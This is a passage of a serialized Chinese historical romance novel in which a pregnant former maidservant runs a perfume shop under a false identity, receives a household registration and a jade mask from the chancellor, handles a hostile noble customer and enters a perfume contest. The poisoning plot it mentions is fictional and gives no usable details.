以免刘嬷嬷中途回来,她又去不成黑市。 可是路才走了一半,她却看到了个不该看到的人。 他人就坐在前面卖馄饨的摊前,熙熙攘攘的人群,也挡不住人人群中极其惹眼的他。 矜贵非凡,气度华贵。 欢娘几乎是下意识就找地方藏了起来。 相爷他对面,坐着两人,一位年迈妇人,一位年轻姑娘,看其打扮,应当是寻常人家。 虽听不清在说什么,但欢娘能看到他面色温和,远比跟她相处时,好多了。 她心底的苦涩蔓延开。 这些日子她努力不去想,但却又不得不承认,爷对她的兴趣爷就一般,他放弃自己,或许都不需要犹豫。 他默认她已经死了,要的只是她腹中胎儿。 委屈,不甘,还有淡淡的酸涩在胸腔蔓延开。 可凭什么,就因为他舍弃了自己,自己真的就要如他的意,离开吗? 想得美呢?为了孩子,为了荣华富贵,那相府,她是非回不可的。 欢娘握紧拳头,暗暗发誓。 但现在,不是见面的时机,再一次回去,自己必须要有能说话的地位,而不是被人随意丢弃的小丫鬟。 她绕了路,从另一边前往黑市。 面摊前,萧怀停碗里的小馄饨都放凉了,也没动一个。 阳光依旧,可他眼中的光,却忽然暗了下去,好似对当下的人和物都没了兴趣。 欢娘到黑市,用夜明珠,交换了一千两银票。 而二虎穿的衣裳都不一样了,还拉着她大大方方介绍,在黑市他以后也有了铺子,欢迎她随时光临。 赏玉阁,一个不到二十平的小铺子。 那意气风发的样子,似乎是发了大财。 “那红窑的人,打听的如何?” 欢娘笑着祝贺他,又问道。 “是有那么号人,可情况不大好啊,你……要去见吗?我有朋友在那儿……” “怎么说?” 去红窑?她绝不。 “染了病,还发了高热,被扔在柴房里,如果不管的话,怕是活不了几天了。” 二虎淡淡道,神色平静。 在那儿的女人,也没几个是好的,所以他一点不意外。 “二虎哥,我想麻烦你,帮个忙……” 欢娘暗叹口气,小翠现在为她出生入死,她也没有不救的道理。 好在,她现在不缺那点银子了。 二虎直点头,只要给银子,这点事对他来说,不算什么。 “还有那沈重,你猜猜,他最近见谁了?” “宁从夏吗?” 欢娘笑着问道。 二虎愣了一下,默默给她竖起大拇指。 两人逐渐熟络起来,说话倒是没一开始那么生疏了。 “见了几次?见面地点在何处?” 欢娘就知道,沈重不会平白无故出现在自己面前的。 所以她猜对了。 “就在沈重家里,那小娘子待了整整一下午,傍晚才离开的。” “都是前天的事了,可我的人说,这两日凝香阁的老板不在……” 二虎说,不是他消息传递不及时,而是她,没能准时收到消息。 欢娘无奈的笑了笑,她总不能说现在的自己,出个门都被人监视了吧? “还请二虎哥花些心思,若是哪一日能拿实了两人的关系,还能将这丑闻公之于众,我必重谢。” 她想,宁从夏应该忍不了多久了。 她回府的日子,也快了。 这胎,得在相府养着,才踏实。 二虎爽快答应了,还让欢娘就坐等好消息,瞧着那进度,是快了。 随后,欢娘才回到凝香阁。 可也不知道今天是个什么日子,居然在楼里,见到了采菊。 她下意识想上去打招呼。 可又想起有关自己的谣言,就默默退了。 或许,她不该出现在采菊姐姐面前。 “怎么?才几日不见,就当不认识了?” 可她刚准备转身避开,采菊姐姐的声音却从身后响起。 欢娘回头,便看到她带着温柔的笑,正看着自己。 看的欢娘一阵委屈,眼泪差点落下。 她领着采菊,去了后院,调香室。 “你出来时,太匆忙,忘了一样东西。” 采菊取出一本书。 欢娘只看了一眼,便知道那是爷的字迹,亦是那本千金难买的调香手记。 “我又看不懂,给我,实在可惜。” 欢娘又没出息的想到相爷了。 “看不懂,就一个字一个字的学。” 采菊笑着安慰她。 “日子长着呢,不着急,这上面一个方子便能让你用个把月。” “姐姐,你私自来这里找我,不怕回去后,被爷责罚吗?” 欢娘哪里是不学啊?她只是……遗憾而已。 “我来找凝香阁的老板,爷为何要责罚我呢?” 采菊淡淡道。 眼底涌动着晦暗不明的光,意味不明。 欢娘瞧不懂,只是因采菊姐姐的话,倍感失落。 “过来,我瞧瞧你的肚子。” 欢娘有些委屈。 可还是站到采菊面前,掀开了棉袄,露出隆起的小腹。 “怎的长这么快?” 采菊看的称奇。 这才过了多久,其实已经明显了。 “是啊,不知是不是错觉,我还感觉到孩子有时会踢我呢。” 欢娘笑道。 其实没有,一点感觉都没有。 但她觉得,这话爷会爱听。 “真的吗?” 采菊盯着她肚子,十分好奇。 “这阵子,还难受,犯困,吃也吃不好,还……夜夜噩梦……” 但其实她好吃好喝还好睡,养的极好。 采菊听的一脸心疼,还说,真是委屈她了。 欢娘故作懂事的摇摇头,心里只盼着采菊姐姐能帮忙,把这些话一五一十,全都告诉爷。 第八十一章要不就把她带回来吧 聊了好一会儿。 等采菊走时,欢娘将自己锁在盒子里的宝贝拿了出来。 “给爷的,我还以为,以后没机会了呢。” 其实是因为生气,闻到梅香就火大,但此刻当着采菊的面从盒子里取出,倒显得十分宝贝。 她故作哀愁。 采菊看了都心疼,可终究是没说什么,拿着东西离开了。 欢娘那泪眼汪汪,求而不得的眼神,也就在转身回屋的瞬间,消散不见。 一头埋进调香室,采菊姐姐专门给她送来了手册,她总不能辜负姐姐的一片心意。 而且她们铺子,确实需要精品来镇店。 新店开业的噱头过去了,她得拿出像样的东西来。 相府。 刘嬷嬷请柳大夫确认了那兔子上的东西以后,就抱着兔子,请柳大夫一同去找老夫人了。 “老夫人,这兔毛上涂染了一种名叫凝寒散的毒物,这对普通人没有伤害,是专门针对孕妇的,闻的久了,便会四肢无力,头晕恶心,腹痛难忍,因为是慢性毒,哪怕是流产了,也无从查起。” “这东西不入口,不算剧毒,若真到流产那日查起,也拿不到实证。” 柳大夫提着嗓子,娓娓到来。 萧苏氏眼眸微怔,手都在微微发抖,好不容易等到柳大夫将话说完了,她才颤抖着嘴唇,问道。 “谁……谁要害我孙儿?” 她只觉得后脊一阵发凉。 “老奴听欢娘与他聊天,得知那人叫沈重,就住在京都北街,还是一名武师。” 刘嬷嬷想起在院子里听到欢娘和那人的话,连忙道。 这些,可都是关键讯息。 “沈重?来人。” 萧苏氏一听,当即就要派人去将那贼子给拿来。 “老夫人,且慢。” 见状,刘嬷嬷赶忙道。 “老夫人,那沈重,老奴瞧着眼生的很,他怎么会无缘无故的要来下药害人呢?再者,欢娘有孕一事一直都是保密的,知晓的人不多,除了您这里,便只有相爷那边,那这沈重又是如何知晓的?” “老奴觉得,此事待查,倘若真的有幕后凶手,除了沈重,线索便断了。” 刘嬷嬷认真道。 “老奴觉得刘嬷嬷所言有理,这样的秘密他都知晓,只怕是这府上出了奸细,得查。” 一旁秦嬷嬷温声开口。 萧苏氏冷静下来后,理智也回来了。 “查,待查清楚,我必让那贼子生不如死。” 她冷声道,眼中杀气腾腾。 敢残害儿子唯一的孩子,她一定让她不得好死。 但此事,还不能打草惊蛇,只能暗访。 老夫人当即就派出暗卫去查那叫沈重的。 只是此事非同小可,她左思右想以后,还去找了儿子。 那是他唯一的骨血,绝不能有任何闪失。 “当初我送她出去,是想保全你的名声,还能给她个清净的地方,好好养胎,可如今,才出去没多久,就被人盯上,那外头,是不是不安全?” 萧苏氏萌生了把人接回来的想法。 “府上已经没有欢娘这个人了,娘要将人带回来?以什么名以?” 萧怀停面色冷淡。 萧苏氏沉默片刻后,道“你后院也才两位姨娘,多一房贱妾,也无妨。” “我让人给她换个身份,你纳她入府,之后的事情不用你操心,我来安排。” 用不着娶亲,只是换个身份把人带回来。 “她原是相府丫鬟,府中人多眼杂,怎么保证那些人不宣扬出去呢?只怕到时候母亲要保的名声,也保不住。” 萧怀停眸光微暗,语气依旧冷淡。 “大户人家的贱妾,极少出门,给她一处僻静的院子,封了院门……” 萧苏氏想到她们以前的规矩。 妾侍本就是大门不出二门不迈的,也就近几年,才稍微开放了些,允许妾侍外出。 可她若要将欢娘藏起,那也合规矩。 “不大好。” 只是她话都没说完,就被打断了。 语气依旧冷淡平稳,看不出情绪。 可也只是这么简单的三个字,萧苏氏就歇了心思。 她了解儿子心思,说不大好的,那就是拒绝。 “她的安危,我会护着,母亲放宽心思就是。” 但虽然拒绝了,萧怀停还是给了一句承诺。 萧苏氏这才放心了些。 “怀停,那可是你唯一的孩子,绝不能有任何闪失。” 她看待那孩子,似乎比萧怀停这当爹的,还要重。 老夫人走后,采菊走进屋。 “爷为何要拒绝?欢娘在外头的日子,可不好过。” 方才她在外头,听到老夫人松口,要将欢娘带回来,而且还要给她身份,采菊很是激动。 可没想,就被爷这样泼了盆凉水。 “回来便是坐牢,就好过吗?” 萧怀停语气冷淡。 “爷不知,欢娘她在外吃不好,睡不好……” 采菊不自觉的将欢娘说的那些话,一字不落的全都说了。 只是冷硬的一张脸,始终冰冷的吓人。 见爷没反应,采菊换上欢娘心做的香薰,就出门了。 还是那股熟悉的香味,仿佛和刚才的,没什么区别。 可香膏的样式却变了,梅花瓣点缀的一颗心。 那东西……萧怀停只是淡淡的扫了一眼。 “萧一。” 他终究是将自己的贴身侍卫,喊进门来。 天微微亮时。 欢娘起来便看到娥嫂子在处理两只兔子。 皮毛被剥了个干净,一黑一白,确实很肥美。 “今早看着不大行了,刘嬷嬷说这兔子养不活,让我宰了吃,你若是喜欢,回头我去集市再给你买两只?” 娥嫂子看到欢娘一动不动的看着,以为她是震惊和心疼。 刘嬷嬷交代了,不能告诉欢娘这两只兔子被人下了药的,免得她害怕,动了胎气。 “我能吃吗?” 欢娘淡笑着,并未接娥嫂子的话。 娥嫂子没料到她的反应,还愣了片刻。 “想怎么吃?” “一只烤,一只红烧。” 这么好的兔子,不吃了,多可惜啊? 娥嫂子笑着点头,立刻去给她准备午饭。 想来,刘嬷嬷是查过那兔子有问题了,所以它们才会死的那么快。 就是不知从沈重,查到宁从夏,要多长时间。 但愿老夫人给力一些,能尽快查清楚,阻止宁从夏嫁入相府。 叩叩叩。 敲门声忽地想起,打断了欢娘的思绪。 第八十二章多了个户口?欢娘自由 总不能是那沈重,又找了借口,过来了吧? 可等着勇哥把门一开,看清来人时,欢娘都愣了一下。 “请问,陆青提在吗?” 来人是官差,身后还跟着两名衙役。 他嗓门有些大。 开门的勇哥愣了一下,立刻摇头。 “抱歉,你们找错人了,这户人家不姓陆。” “你确定?不是这家人,要办女户吗?” 可那官差却没立刻就走,反而还追问着。 “让你们家主子来说话。” 旁侧,身着青色衣袍的老者,文质彬彬,眼眸从欢娘身上扫过后,道。 “这……” 勇哥看着有些为难,目光已经去找刘嬷嬷了。 因为这院子里,是刘嬷嬷说了才算。 可欢娘却听到了一个熟悉的名字,再看对方的身份,她虽觉得诡异,但还是走了过去。 既是官差,应当不会来这儿找麻烦。 就算是找了,如今她肚子里揣着一个,倒是不怕。 “几位大哥,不如进屋来说?” 所以欢娘走了过去,主动招待。 勇哥有些莫名,看这情形,做不得主的他跑去找刘嬷嬷。 欢娘将人请到院子里。 “我叫方鹤,是京都府衙的捕快,这位朱先生是府衙主簿,负责等级办理户口的,你提交的申请表上,是要办个女户,在京都生活,没错吧?” 那捕快大哥一边说话一边拿出本子来,还递给欢娘看。 那所谓的申请表。 欢娘看到自己认识的一些字,人都惊了。 陆青提,凝香阁老板,家庭成员一栏,还有个名字,陆寒洲。 情况说明,大概是姐弟二人要在京都扎根,有意成为京都纳税百姓之一。 欢娘看的人都傻了,看那字迹,她总觉得有些熟悉,可绝对不是陆寒洲。 那帐房先生的字可不是这样的。 而且她深知,外人人员要在京都立女户,何其艰难。 “原本你这情况,只能给你发个临时户口,但你的客户采菊已经跟我说清楚了,你已无家可归,来京都做生意也是孤注一掷,既然你将这里当成家,那我们也不会为难你的,看看主要讯息对不对?” “如果没问题呢,你就跟我们去趟府衙,签字画押,三天后,你的户口就能下来。” 一旁的朱主簿摸着他的胡子,缓缓道来。 这是采菊的意思? 不对,她只是个丫鬟,哪里来那么大的面子,要立户口,还让人家主簿亲自过来? 欢娘心头一震。 所以这是爷的意思? 那他这么做到底又是什么意思? 她看着纸上的字,终于想起,这是采菊的字迹。 “倒是……没错,是这样。” “嗯,那就跟我们走一趟,去府衙办事。” 一旁方鹤站了起来,请欢娘出门去。 刘嬷嬷在这时走了过来,看到这一幕先是一愣。 然后就跟着欢娘,到了府衙。 等欢娘再回来时,已经是午后了。 户口,女户?从今日起,她在这京都是正儿八经有身份的清白人家了吗? 她久久无法回过神来。 那户口,凭着她欢娘的身份,只怕这辈子都拿不到。 可爷到底为什么要这么做? 还有那陆寒洲,为何会跟她在一个户口上? 难道这账房先生,还有问题? 欢娘不再耽搁,匆匆跑去凝香阁。 下午没他什么事,所以人在后院屋子里看书。 “老板娘,有事?” 欢娘因为着急,走的快了写,到的时候气喘吁吁。 陆寒洲拿着书,一脸错愕的看着她。 “你到底是什么人?” 欢娘沉声问道。 可看陆寒洲的神情,就只有迷茫,欢娘并没有看出半分不对劲。 “老板娘,这话什么意思?” “你是怎么到这里来的?” “自然是来赚银子,生活,等着科考,老板娘怀疑我什么?是不是我哪里做的不好?” 欢娘冷着脸试探。 但陆寒洲却从头到尾都十分镇定,真诚的像是被欢娘诬陷一般。 “我问你,当朝相爷,你可认识?” 陆寒洲一脸惊愕。 “听过,坊间盛传相爷心藏经纬,智通治乱,在下极为钦佩。” 但还是很快镇定下来,回答的完美,没有半点错漏。 所以是不认识吗? 仔细想来,倘若他认识,又何须来自己这里做个账房,影响他念书? 至于那户口的事,欢娘想了想,还是决定先瞒着。 等她弄清楚,相爷到底什么心思再说。 “老板娘,可是怀疑我做了什么?” 陆寒洲见她不语,追问。 欢娘还没回过神来,只能先摇头。 “老板娘若觉得在下不是个好人,在下走就是了。” 只是不想陆寒洲脾气竟是这般大。 “没有,你别多想,我只是觉得你那账目做的好看,是个有能力的,不该沦落至此。” 欢娘连忙解释。 就算是为了那户口上的名字,她也不能让陆寒洲现在离开。 既然户口上是她的兄弟,户口都还没下来呢,可不能在这时候出乱子。 可陆寒洲面露狐疑,看着是不信她说的话。 “倘若老板娘不想我待在这儿,说一声就是,我不会给老板娘添麻烦的,只是希望老板娘不要节外生枝,我不想引人注目。” 他沉默了片刻,才道。 欢娘点点头,心想着正好,她也不想引人注目。 只是当下她脑子里乱七八糟的,并未觉得陆寒洲说这话,有什么奇怪的。 虽然她想不通,相爷为何要给她立户。 但欢娘却觉得,这是天大的喜悦,那种感觉不是得宠,或是怀孕能相比的。 她自己不知道在乐什么,就只是觉得,从一个可有可无的小丫鬟,从卑贱的奴才,好像成了堂堂正正的人。 欢娘难以形容心里的欢喜,后来一头扎进调香室里,凭着心情,调配了一种香料。 燃之,令人心生愉悦,还甜甜的,像是抹了蜜一般。 她回过神时,心里立刻有了想法。 没一会儿,凝香阁内那香炉里,便换了香料。 约莫一个时辰后,进店的客人,忍不住嗅了嗅。 青烟袅袅,一室温甜,无论是进来的客人,还是负责接待的店员,脸上都挂起了轻松笑意。 傍晚。 欢娘正准备要走时,阿凝却匆匆的跑了进来。 “老板娘,外头有位贵客,指名道姓要见见您。” 她有些紧张。 第八十三章新身份,反差,爷喜欢吗? 阿凝是原先铺子里做胭脂水粉的,因为技术还不错,又有经验,所以现在成了铺子里的女管事。 “见我作甚?” 别看欢娘是老板,但她可没有应付客人的经验。 “那客人身份不一般,夫君是禁卫军指挥使,父亲是御史大人,而且店铺开业当日,她便将咱们铺子里所有的香膏都买了去,是大客户。” 阿凝解释。 这一重重身份,压的欢娘都有些喘不过气来。 那可就是真正的贵妇了。 “这是第二次来,说了要见您,可具体也没说要做什么,我瞧着,有敌意,也许是先前买的那些东西,不满意。” 阿凝也发愁。 因为那位夫人大手笔,一下就成为了店里的尊贵客户,她要见老板的要求是没法儿拒绝的。 那么多人看着呢,她们也不能坏了自己的规矩。 欢娘清楚这其中厉害。 身为老板,也该有心理准备。 哪怕人是来找茬的,也得接着。 “将那李夫人请到二楼,我这就过来。” 阿凝匆匆跑回,亲自去招待。 “李夫人,让您久等了,还请随小的上二楼。” 她弯腰行礼,将人往上领。 李周氏冷哼一身,眉宇间满是不耐烦,甩着衣袖就带着仆人,气势汹汹的上了楼。 此刻,铺子里客人已经不多了。 可看到这样子,也是议论纷纷。 “这里的老板娘阿,只怕是凶多吉少了。” 有人小声嘀咕着。 “怎么说?” “这李夫人可不是省油的灯,我听说京都大一点的胭脂铺子,都被她砸过场子,就一个月前那望月楼,不知怎么得罪了她,铺子都关了。” “我知道我知道,铺子关了还不算,后来房子都给烧了,那老板被逼着离开了京都。” “其他胭脂铺子的人阿,那都不敢得罪她,只要看到她进去,当狗一样的捧着她,生怕被砸……” 客人议论纷纷。 店员面色惨白白,往楼上看去,满是担忧。 楼上,阿凝赶忙将熏香点上。 砰…… 李周氏的手便狠狠的拍在了桌上,茶水溢出,打湿了桌子。 “你们老板,好大的架子。” 欢娘收拾好上楼,便听到那李夫人的声音,满是不悦。 她这不是很快便来了?从后院出来时,刚好看到她们上楼,算着脚程,楼上的人也才坐下吧。 她哀叹口气,加快步伐往里面走。 “李夫人,我们老板……” 吱呀…… 就在阿凝急的委屈的快要掉眼泪时,门被推开。 一身绛紫色流光锦缎,挽着流云髻,脸上遮深紫色面纱,那面纱上还绣了三只黑蝴蝶。 整个人都透着神秘妖媚的气息,看不清脸,可左边眼角处,却画了一朵艳丽的红梅。 妖娆的穿着却又生出三分清丽。 阿凝疑惑的望着来人,一脸陌生。 李周氏蹙眉,面色不善。 “抱歉,方才在调香,让李夫人久等。” 欢娘落落大方走到她面前,无视她的愤怒,优雅沉静。 阿凝已经惊呆了。 这是……老板吗?怎么突然间就跟变了个人一样? 那份气度也是能伪装的? 一向温婉,看着好说话的老板娘,这会儿遮掩了面纱,让人捉摸不透。 “你就是凝香阁的老板?怎么称呼?” 她一说话,李周氏就眉目紧锁。 “在下姓陆。” 欢娘不卑不亢,坐在她的对面。 在她的店里,她是老板,李周氏身份再尊贵,也是客人。 “陆老板?听闻你来历不一般呐。” 可李周氏见到她这动作,就越发不喜了,再开口时,已经带了些许嘲讽。 欢娘一个眼神,示意阿凝先离开。 阿凝本是担心老板应付不过来的,可此刻……她觉得自己有些多余。 所以就听话的走了。 可她不知道,欢娘心里其实也没底,只能往前冲。 屋内安静下来了。 “我现在只是一个会调香的生意人而已,李夫人特意找我,可是为了香膏?” 李周氏看对方不卑不亢,甚至还不大想搭理她的样子,心底就不舒服。 是王女又如何,曾经而已,现在不过是个生意人而已,高傲什么? “你要只是个普通的生意人,还配坐在我面前吗?” 她语气不善。 “李夫人这话说的,倘若是喜欢听故事,不妨去隔壁的茶馆,那里的说书先生,讲故事,很生动。” “你……” “若不是因为香膏来的,在下可能要失陪了。” 李周氏怒气横生,都抓起了水杯。 可就眼睁睁看着老板先站了起来,她眼底除了愤怒,更多的是惊愕可不可置信。 “你……你怎么敢的?你信不信我砸了你这破店?” 居然还有人敢无视她?李周氏都快要被气笑了。 “砸?为何要砸?我开门做生意,光明正大的,也不曾得罪过李夫人。” 欢娘假装不懂。 心底却虚的厉害。 这李周氏身份可不简单,若真的硬碰硬,吃亏的肯定是自己。 可她也没法卑躬屈膝的讨好她,因为身份是假的,问多了只会露出破绽。 左右都要出事,倒不如显得有骨气些,保全脸面。 可李周氏听到这话,只是不屑的冷笑。 然后朝着她逐步靠近,显露出咄咄逼人的气势。 欢娘心头一慌。 “天子脚下,我还不信有人能目无纲纪,京都府衙还是摆设不成?你今日若砸了我的铺子,我必定去报官,争个公道。” 她强压着慌张,恍惚间想起每次爷挺直腰背,面无表情的样子,其实挺唬人的。 所以她依着记忆中爷的样子,依葫芦画瓢,一字一句说的沉稳,铿锵有力。 “放肆。” 李周氏气的扬起了巴掌甩出去,却扑了个空。 这姿势,欢娘熟悉的很,只是看表情,就开始躲了。 头偏开,李周氏扑了个空,却扬起一阵风,传来一股有些刺鼻的味道。 稍纵即逝,欢娘几乎以为是错觉。 可李周氏眼看着没打到她,气的又扬起手。 在动手的瞬间,那股味道又出现了。 欢娘直接抓住了她挥过来的手。 李周氏力气不小,欢娘很吃力,手都隐隐在发抖。 “你敢,你大胆,松开我。” 李周氏挣扎了两下没挣扎开,暴怒,看着她龇牙瞪眼的,好像是要杀人。 可欢娘这下确定了,闻到的那股味道,不是错觉。 “李夫人,可别太激动,情绪过激,身体热了,涂抹的香膏散的会更快些,那可就没效果了。” 第八十四章爷送的告示,还有礼物? 她缓缓道来。 李周氏惊的忘了使劲,只见她笑了,眼角微微上钩,显得越发魅惑。 敏感的她立刻意识到了什么,下意识嗅了嗅,可什么都没闻到。 “放开。” 她嘶吼道。 “冷静下来,咱们可以慢慢谈。” 欢娘发现了她的问题,所以任凭她再凶,她也不怕了。 因为李夫人她不是来找茬的。 既然是为了香膏而来,对她来说,会是个机会。 她松开了李周氏的手,李周氏立刻后退两步,似乎是有意避开她。 而且双手向下垂,一瞬间背都有些坨了,好像极力在掩藏什么。 但一双眼,却凶狠的瞪着欢娘,好像她手里拿着致命的凶器,威胁到她了,让她不敢轻举妄动。 “让她们出去。” 欢娘淡淡道。 说着,便往李周氏那边靠近。 “出去等着。” 她还很听话,甚至有些烦躁,眉宇间染了一抹燥气。 等屋内只剩下两人之后,欢娘已经非常淡定了,回到方才的地方,落座。 “开业以前,你这香膏传的神乎奇迹的,可和其他家的,也没什么区别。” 李周氏怒了又怒,看着欢娘的眼神,一直都很凶,可是她似乎又没什么办法。 往欢娘对面一坐,依旧是冷嘲热讽的。 “承蒙李夫人照顾生意,开业当天本店的规矩,李夫人可还记得?” 欢娘也没反驳。 “我记你那破店的规矩作甚?” 李周氏没好气的道,一脸高傲。 “李夫人是凝香阁第一位贵客,照着规矩,贵客可以量身定做香膏。” 李周氏依旧不以为意。 只是眼眸里,划过一丝挣扎和纠结。 “夫人体味要比旁人稍重些,寻常的香膏自然也没用处,特定的止汗香露,能止汗除味。” 欢娘继续道。 她坚信李周氏需要,而且她买遍店铺里所有的香膏,就是为了除味,现在有方子,她怎会拒绝? 李周氏松动了。 可她素来就是尊贵的,仅凭着这两句话,就让她拉下脸来求取,还不大可能。 “我这儿有从家乡带来的方子,能为李夫人解决烦恼,只是需七七四十九日药浴,每日半个时辰香薰,坚持住,四十九日以后,夫人会拥有自己独特的香味。” 松动的眼神里,透着几分渴望。 “你……当真有法子?” 她犹豫着,开口,说完都带上了一丝哽咽,眼中闪现泪光。 “难道您来这里,不想听我说有办法吗?” 欢娘勾起眉眼,反问。 李周氏连忙摇了摇头,憋回那差点出来的眼泪。 “只要你有办法,我不会亏待你的。” 这陆老板,还真奇怪,刚才提起香膏还那般温柔,可转头一说别的,冷漠的不近人情。 但反而是这样,李周氏更加相信她了。 她无法去讲述,因为身上的味道,这些年她受了多少委屈,多少折磨,被多少人嘲笑过。 “开门做生意而已,这药浴所用药材特殊,三日浸泡,便能出效果,届时夫人再付钱就成。” 可只听陆老板语气平静,完全没有要讨好她的意思。 一本正经的做她的生意。 而且她居然自信到,等三日后再付钱? 李周氏仿佛看到了微妙的希望。 “那今日……” “明早辰时过来,今天我需要去准备些药材,劳烦李夫人等一等。” 她有些迫不及待。 但却被拒绝了。 可李周氏也只是失望,并未像来时那般心浮气躁,目中无人。 甚至,这是要等上半日,她也没再说什么。 可欢娘也知道,李周氏此刻这般温和,都是憧憬着自己能去除她的体味。 往好的想,那便是她有求于自己,自然要客气些,欢娘觉得这是好事,也是机会。 没准,李周氏能帮助她的铺子,更上一层楼。 至于去除体味的办法,爷送给她的那本册子里就有,她还瞧见过。 那是大师记载的法子,必定不会有错。 店铺早就到了关门的时间,可当欢娘将李夫人送下楼时,还有许多客户在观望。 当看到李夫人下楼时,那一双双讶异的目光,好像在说,怎么那么安静,什么都没发生? 欢娘不语,只是将人送到了门口。 然后在众人震惊中,低调的回到了后院。 待的时间越短,神秘感才能越足。 后院。 欢娘走的极快,想赶紧换了这身衣服,久了,总担心会被人识破。 可是后院那后门,却被人打开,一道熟悉的身影,映入眼帘。 他站在那里,旁若无人,好像这是自家院子。 欢娘停下脚步,望着门口的人。 “有事?” 门口的萧一侍卫,是万年不变的样子。 “这份告示,给你。” 萧一快步走进,走的冷酷无情,没什么人情味。 欢娘抬手就接了,没说什么。 “看得懂吗?” 可萧一却没掉头就走,还问了一句。 欢娘惊的望着他。 侍卫大哥这是何意,瞧不上她? 而萧一见她没说话,转身就走了。 “相爷来了吗?” 欢娘紧抓着那告示,一冲动就问了出来,然后紧张的双脚去扣着地。 可问完,她就后悔了。 尤其是当她自己从后门出去,上了那辆马车时,欢娘头晕,脸热,甚至连呼吸都变得急促。 说好了不见的,可她怎么就……跟撞鬼了一样,多嘴问什么? 马车缓缓前行,她恍惚间听到外头人声鼎沸,而后又逐渐清冷。 等车再次停下时,外头潺潺流水声。 车外,脚步声逐渐远去。 欢娘抬眸望去,相爷的目光竟落在她身上,微眯着眼,似乎是在打量她。 她才后知后觉,想到自己现在的打扮,脸烧的越发厉害。 “我……看不大懂。” 她胡乱找个理由,将被她捏的皱皱巴巴的告示,递给相爷。 “要我念?” 萧怀停没接,看着模样大改的欢娘,眸色晦暗。 低沉的声音,似乎也是在极力压制着情绪。 只见她点了点头。 “打开,坐过来。” 闻言,欢娘就是愣了一下,没有任何犹豫就凑到他身边,挨着他,然后打开那皱皱巴巴的告示。 其实她现在也能认,无非就是……刚才糊涂了,借着告示,想见他。 可明明先前,是有怨气的。 第八十五章爷给的,你要,还是不要? 为什么又想了呢? 欢娘想起了办女户的事。 可爷的声音,却在这时响起。 用他的声音来念告示,听的欢娘心里紧张,又莫名多出几分蜜意。 ‘京都特设天香御选,广召天下善调香者。 不拘出身,不问贵贱,凡有独韵奇方、匠心妙品者,皆可赴试。 以香为题,以韵为凭,择独一无二之香,选超凡入圣之技 榜首重赏:御赐金帛、匾额,授宫廷香师之位,名动京华,流芳御苑。愿天下芳手,各呈奇香,一较高下。 此告。’ 最后两个字,落的极轻,他身子微微前倾,纤长的手突然落在逛街的额头,扫荡着那飘落的碎发。 欢娘有些不自在。 可相爷说的那些话,却让她晕乎乎的。 “是……是要调香比赛?” 可也能听懂。 “嗯,刚出的告示,比赛在一个月后,正月十五。” 萧怀停耐心回应她的话,给她时间反应。 那岂不就是元宵节那晚? “元宵佳节,百香齐放,届时,一定十分热闹。” 他又道。 “那我参加。” 欢娘抓着他的手,认真道。 她刚才听的清楚,若能胜出,就有封赏,还能得一称号。 简直就是名利双收。 “除了京都,各地州上的调香师都会来,你有信心?” 萧怀停倒是没想到她答应的这般干脆,问都不多问一下。 似乎在外这些日子,变的不大一样了。 “没有,但去了能增长见识不是吗?调香是我唯一擅长的事,如果连这个我都不敢,那我会瞧不起自己的。” 欢娘认真道。 要是连调香都怯懦,她又凭什么,想让相爷在意她呢?相爷这样的人物,凭什么在意一个怯懦无知的女人? “不错,还算有点脑子。” 萧怀停听到这话,似乎心情不错,嘴角微弯。 “跟着爷这么久了,脑子也学了爷,奴婢现在觉得奴婢的脑子,越来越好用。” 她轻笑,眼睛都要笑弯了。 萧怀停当真是许久没听到她恭维的话了,有些不适应。 而且,不久前,她见了自己,还躲。 现在这副作态…… 萧怀停眼眸微眯,打量着她这半遮脸的模样,从上到下的审视。 手突然被她拉着,放到了小腹处。 那里鼓鼓的,还有些温热。 他面露错愕,只见欢娘眼底泛着温柔的光。 “爷,长大了。” 欢娘其实也紧张,但她就是想让爷时刻记着,孩子在呢,他可千万千万别忘了她。 哪怕爷为她操心了那么多,给了她想都不敢想的身份,还有能做主的生活,给她自由。 可她担心,这份新意稍纵即逝。 以前她不敢奢求,现在隐隐感觉到了,她欢喜的同时却又怕这份心意,消失的太快。 所以她必须要努力的留住。 爷的双宽厚,一只手仿佛覆盖了腹中的孩子,能随便拿捏。 温热的气息,让欢娘不自在。 突然,他手绕过腹部,搂着腰,将她捞着靠近,面上那黑纱掉落,露出她今日精心装扮的妆容。 只见爷眼底划过一丝惊艳,欢娘当即翻身主动坐到他身上。 今日她为了扮好陆青提的身份,把自己的妆容改的完全不像欢娘了。 欢娘素来都是清透干净的,可今日的她,浓妆,红唇,勾人的梅花在眼尾,好似活了过来。 她想既然是妩媚的陆青提,那应当更主动些才对。 车上。 气氛逐渐令人昏沉。 “当心些。” 萧怀停隐忍到极致的声音,绷的僵硬,粗喘着气,说了一句。 也不知是在告诫欢娘,还是他自己。 日落黄昏,河边的水都透着淡淡的红,夜景,美极了。 欢娘回到小院,已经夜深了。 她本以为,刘嬷嬷等人怕是急的团团转。 可谁想屋里很安静。 厨房背着热水,还有宵夜,大家早就睡了。 欢娘眉头轻挑,突然就明白了些什么。 虽然爷顾着孩子,没太折腾,但欢娘还是弄的一身痕迹,她打了水清洗,然后坐在厨房一边烘着头发,一边吃宵夜。 这一刻,好日子好像又回来了,而且她感觉到前所未有的舒爽。 可日子是艰苦的。 天都没亮,她便起床去了药铺抓药材。 今日,得给她们店铺最尊贵的客人李周氏,除味儿。 好消息是刘嬷嬷也不再跟着她了,但坏消息便是……她似乎很疲惫,一直想睡觉。 走着路,都无精打采。 才到店门口,她就发现李周氏的马车,居然已经到了。 欢娘突然就意识到,自己顶着这张脸再自由出入凝香阁,不太妥当。 思索片刻,她绕了路,往后院进。 谁知萧一又来了,只是这次,她找了一圈,也没看到相爷的马车。 “爷交代,给你的。” 萧一送了东西,便离开。 什么好东西她都有了,爷这是又给什么?若是银两,现在的她未必就动心呢。 但欢娘还是忍不住勾起了嘴角。 等她到调香室,打开盒子的瞬间,看到是枚半面玉质面具。 胎质细白温润,轻得几乎无感,久戴也不压肌肤。 正面不描艳色,只以极细的阴刻,雕了一枝横斜寒梅——枝疏影清,花瓣层层叠叠,瓣尖微翘,似雪欲落,又似风将起,风骨清绝,不沾半分俗艳。 梅枝间暗嵌几星极细的银箔碎光,灯下才微微流转,不张扬,却动人心魄。 眼窝弧度是按着她眉眼细细打磨的,恰好遮去半容,又不挡她抬眸时的清光。 最见用心的,是梅萼深处,藏着一枚极小极小的印记,刻有‘欢’字,不细看就无从察觉。 欢娘手触到那温凉的面具,忽的便能看到他伏在案前,精心雕琢的样子。 爷的意思,她自然是懂得的。 